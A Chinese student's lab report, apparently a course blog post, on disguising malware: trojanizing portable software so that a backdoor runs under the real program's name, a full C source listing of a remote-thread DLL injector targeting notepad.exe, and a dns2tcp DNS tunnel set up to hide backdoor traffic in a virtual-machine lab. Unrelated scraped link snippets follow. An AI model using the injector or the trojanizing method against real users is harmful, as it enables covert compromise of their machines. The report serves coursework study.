20145208 蔡野《网络对抗》Exp3 Advanced 恶意代码伪装技术实践
20145208 蔡野《网络对抗》Exp3 Advanced 恶意代码伪装技术实践
木马化正常软件
- 思路:
- 在正常软件包中将原本的程序主文件(平时打开程序用的exe文件)改成dll后缀(或者伪装成其他的exe,比如
测试模式.exe
),然后通过之前实验的方法半手动编译一个后门exe程序,在原本的后门程序代码中加入对原本的程序主文件(现在的dll文件)调用,打开正常的程序。这样就可以实现隐蔽的后门,还可以诱导客户打开后门文件而不知道,也是所谓的“绿色软件”不绿色的原因。
- 在正常软件包中将原本的程序主文件(平时打开程序用的exe文件)改成dll后缀(或者伪装成其他的exe,比如
实践过程
- 这里的实践是通过一种伪装,将后门伪装成软件的运行程序,将原本的运行程序伪装成其他的文件,诱使用户打开后门程序:
- 先对之前的后门代码修改一下,其实就是加入了打开另外一个exe文件的命令:
- 然后把生成的exe文件改名后放在软件的目录中:
- 运行之后果然可以打开目的软件,回连自然也是可以的。
- 通过wireshake抓包可以看出来,当我打开执行文件之后,在运行目标软件的同时也在尝试回连攻击方,在这里我没有打开攻击方虚拟机,所以ARP没有对这次回连进行响应,但是如果打开的话是肯定可以回连的。
- 现在回头看一下电脑里面的“绿色免安装版”游戏,真的是不能再爱了:
- 是不是和刚刚我把后门伪装起来的方法很像?所以如果这些所谓的绿色软件想植入后门,简直太容易了,而且很大可能性他们已经植入了。
- 所以官方软件在下载的时候都会提供MD5来给用户校验自己的软件有没有被人给篡改。
- ps:在后门程序编译的时候进入项目的属性中可以修改编译方式为静态库,这样生成的exe文件就可以独立运行,而不提示缺少dll了。
DLL注入技术实现后门注入
- 思路:
- DLL注入是将DLL注入到其他进程中的源程序之中,使用DLL注入器的软件肯定是比较方便的,但是要注入后门肯定不能告诉别人说你安装一个DLL注入器把我的后门注入进去吧,还是要靠编写代码来实现进入指定进程的地址空间,将调用后门的代码写入运行的进程之中。
- 对于DLL注入的方法网上资料相对比较丰富,但是在本次实践中时间紧张,不知道能不能搞出来。
实践过程
参考代码段:
用于注入dll到指定进程的exe程序代码,这里指定的是记事本进程:
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
DWORD getProcessHandle(LPCTSTR lpProcessName)//根据进程名查找进程PID
{
DWORD dwRet = 0;
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == INVALID_HANDLE_VALUE)
{
printf("\n获得进程快照失败%d", GetLastError());
return dwRet;
}
PROCESSENTRY32 pe32;//声明进程入口对象
pe32.dwSize = sizeof(PROCESSENTRY32);//填充进程入口对象大小
Process32First(hSnapShot, &pe32);//遍历进程列表
do
{
if (!lstrcmp(pe32.szExeFile, lpProcessName))//查找指定进程名的PID
{
dwRet = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnapShot, &pe32));
CloseHandle(hSnapShot);
return dwRet;//返回
}
INT main(INT argc, CHAR * argv[])
{
DWORD dwPid = getProcessHandle("notepad.exe");
LPCSTR lpDllName = "dll_test.dll";
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPid);
if (hProcess == NULL)
{
printf("\n获取进程句柄错误%d", GetLastError());
return -1;
}
DWORD dwSize = strlen(lpDllName) + 1;
DWORD dwHasWrite;
LPVOID lpRemoteBuf = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (WriteProcessMemory(hProcess, lpRemoteBuf, lpDllName, dwSize, &dwHasWrite))
{
if (dwHasWrite != dwSize)
{
VirtualFreeEx(hProcess, lpRemoteBuf, dwSize, MEM_COMMIT);
CloseHandle(hProcess);
return -1;
}
}
else
{
printf("\n写入远程进程内存空间出错%d。", GetLastError());
CloseHandle(hProcess);
return -1;
}
DWORD dwNewThreadId;
LPVOID lpLoadDll = LoadLibraryA;
HANDLE hNewRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpLoadDll, lpRemoteBuf, 0, &dwNewThreadId);
if (hNewRemoteThread == NULL)
{
printf("\n建立远程线程失败%d", GetLastError());
CloseHandle(hProcess);
return -1;
}
WaitForSingleObject(hNewRemoteThread, INFINITE);
CloseHandle(hNewRemoteThread);
//准备卸载之前注入的Dll
DWORD dwHandle, dwID;
LPVOID pFunc = GetModuleHandleA;//获得在远程线程中被注入的Dll的句柄
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpRemoteBuf, 0, &dwID);
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, &dwHandle);//线程的结束码即为Dll模块儿的句柄
CloseHandle(hThread);
pFunc = FreeLibrary;
hThread = CreateRemoteThread(hThread, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)dwHandle, 0, &dwID); //将FreeLibraryA注入到远程线程中去卸载Dll
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
- 尝试去注入进程:
- 当指定进程未开启时,连接不到进程:
- 当进程开启时,连接到进程但建立线程失败:
- 查找了一个出错函数的erro值含义了解到是因为拒绝访问而出错,接下来尝试提升权限来试试或者更改路径等方法
- 生成dll程序的代码:
。。。。。。(待补全)
DNS隧道技术实践实现后门通信隐藏。
简介
- 隧道技术(Tunneling)是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将其它协议的数据帧或包重新封装然后通过隧道发送。新的帧头提供路由信息,以便通过互联网传递被封装的负载数据。
DNS隧道设置
- 使用了三台虚拟机:攻击主机-KALI;DNS服务器-windows 2008;目标靶机-KALI。
DNS服务器设置(IP-192.168.1.242)
- 首先需要一台主机作为DNS服务器,在这次实验中我用的是2008系统,建立DNS服务器的过程在网上很多,大致就是像之前建立IIS一样新建角色,然后在DNS服务器中添加主机,添加的主机的IP设为攻击主机的IP,然后新建立一个委托,域名我设置成了
cy.caiye.com
。
攻击主机设置(IP-192.168.1.180)
- 接下来的所有修改建议修改之前先备份。
- 修改dns2tcpd配置文件:
- 启动dns隧道的服务端:
客户端配置(IP-192.168.52.128)
- 先删除ssh连接的known_hosts文件,可以避免出现一些ssh连接的问题,然后修改DNS解析文件:vim /etc/resolv.conf,将地址改为之前DNS服务器的地址:
- 配置dns隧道客户端程序
- 因为在kali2中,本身没有配置文件,所以需要自己写配置文件
vim /etc/dns2tcpc.conf
,然后通过dns2tcpc -z cy.caiye.com
测试是否可以提供服务:
- 这个时候就可以测试连接了(
dns2tcpc -c -f /etc/dns2tcpc.conf
指令来监听连接):
在ssh的连接过程中遇到了一些问题,在网上找到了一部分答案,这个资料中相对全面:资料链接
实验连接测试结果:
下面是通过控制对方主机的一个客户获得root权限,然后在对方主机中新建了一个test文件
- 从结果上看,虽然实现了通过dns隧道通信来操控另外一台主机的效果,但是与实验预期的不一样,变成了靶机操控攻击端(也可能是我对dns通信过程的理解不深,反正做出来的结果和想的不一样 = =!),而且通过第二章图片攻击端的反馈信息来看,建立的连接也不是预期的效果,存在问题,希望可以通过以后的学习来解开这些疑问。
实践感想
- 本次进阶实践感觉还是很困难的,认识到自己的能力很弱,基础知识不够,三个实践内容都不简单,勉强做了一些但是还存在许多问题,希望有其他人可以做出来,然后互相学习一下思路和方法。
参考资料
20145208 蔡野《网络对抗》Exp3 Advanced 恶意代码伪装技术实践的更多相关文章
- 20145212 罗天晨 《网络对抗》Exp3 Advanced 恶意代码伪装技术实践
恶意代码伪装技术实践 木马化正常软件. 啊哈--原本以为很复杂--然后我看了一下蔡野同学的博客,发现原理竟然如此简单-- 对原先生成病毒的代码稍作修改: 于是--把生成的后门软件改成骗人的名字:这里改 ...
- 20155232《网络对抗》Exp4 恶意代码分析
20155232<网络对抗>Exp4 恶意代码分析 1.实践目标 1.1是监控你自己系统的运行状态,看有没有可疑的程序在运行. 1.2是分析一个恶意软件,就分析Exp2或Exp3中生成后门 ...
- 20145208 蔡野 《网络对抗》Exp4 恶意代码分析
20145208 蔡野 <网络对抗>Exp4 恶意代码分析 问题回答 总结一下监控一个系统通常需要监控什么.用什么来监控. 监控一个系统通常需要监控这个系统的注册表,进程,端口,服务还有文 ...
- 20145312《网络对抗》Exp4 恶意代码分析
20145312<网络对抗>Exp4 恶意代码分析 问题回答 1.总结一下监控一个系统通常需要监控什么.用什么来监控. 监控一个系统通常需要监控这个系统的注册表,进程,开放端口,程序服务还 ...
- 20155227《网络对抗》Exp4 恶意代码分析
20155227<网络对抗>Exp4 恶意代码分析 实践目标 1.是监控你自己系统的运行状态,看有没有可疑的程序在运行. 2.是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分 ...
- 20155302《网络对抗》Exp4 恶意代码分析
20155302<网络对抗>Exp4 恶意代码分析 实验要求 •是监控你自己系统的运行状态,看有没有可疑的程序在运行. •是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工 ...
- 20155308《网络对抗》Exp4 恶意代码分析
20155308<网络对抗>Exp4 恶意代码分析 实践说明 实践目标 是监控你自己系统的运行状态,看有没有可疑的程序在运行. 是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件: ...
- 20155323刘威良《网络对抗》Exp4 恶意代码分析
20155323刘威良<网络对抗>Exp4 恶意代码分析 实践目标 1是监控你自己系统的运行状态,看有没有可疑的程序在运行. 2是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件: ...
- 20145215《网络对抗》Exp4 恶意代码分析
20145215<网络对抗>Exp4 恶意代码分析 基础问题回答 如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么.请设计下你想监控的操作有哪些,用 ...
随机推荐
- pycurl实例详解
Pycurl是Python的libcurl接口.liburl是客户端的URL传输库,它支持FTP,FTPS,HTTP,HTTPS,TELNET,LDAP等诸多协议,同时支持HTTP认证,代理,FTP上 ...
- Oracle字符串连接的方法
Oracle数据库中,使用“||”进行字符串连接,下面就让我们一起了解一下Oracle数据库中字符串连接的方法,希望对您能有所帮助. 和其他数据库系统类似,Oracle字符串连接使用“||”进行字符串 ...
- Elegant Construction---hdu5813(构造图)
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=5813 题意是:有n个点,每个点都能到达num个点,让我们构造任意一个有向图满足条件,即:使得 i 能到 ...
- Distribution(F题)---第八届河南省程序设计大赛
Description One day , Wang and Dong in the Dubai desert expedition, discovered an ancient castle. Fo ...
- javascript php 数组 json 对比 总结
看到这个博客,终于明白JavaScript 里只有一种 Array,不存在索引数组和关联数组. 1.在js中所有要素都是继承自Object对象的,任何对象都能通过obj["name" ...
- 【HTML5】HTML5的自学路线
HTML5的开发市场已越来越火爆,他已经与我们的生活息息相关,它也成为了我们生活中的一部分,比如我们在网上购物,玩手游等等,都存在html5的影子,也正是因为html5的高度影响力,吸引了许多人开始关 ...
- Debugging golang programs
https://ttboj.wordpress.com/2016/02/15/debugging-golang-programs/ I’ve been writing a lot of golang ...
- (转)Elasticsearch NoNodeAvailableException None of the configured nodes are available
问题背景:将es部署到内网中两台服务器,其Ip地址分别为:192.111.222.5,192.111.222.1(部署方式完全一样,是将192.111.222.1服务器上es整个部署包,拷贝到了192 ...
- C#实现无标题栏窗体点击任务栏图标正常最小化或还原的解决方法
对于无标题栏窗体,也就是FormBorderStyle等于System.Windows.Forms.FormBorderStyle.None的窗体,点击任务栏图标的时候,是不能象标准窗体那样最小化或还 ...
- 使用JDBC+POI把Excel中的数据导出到MySQL
POI是Apache的一套读MS文档的API,用它还是可以比较方便的读取Office文档的.目前支持Word,Excel,PowerPoint生成的文档,还有Visio和Publisher的. htt ...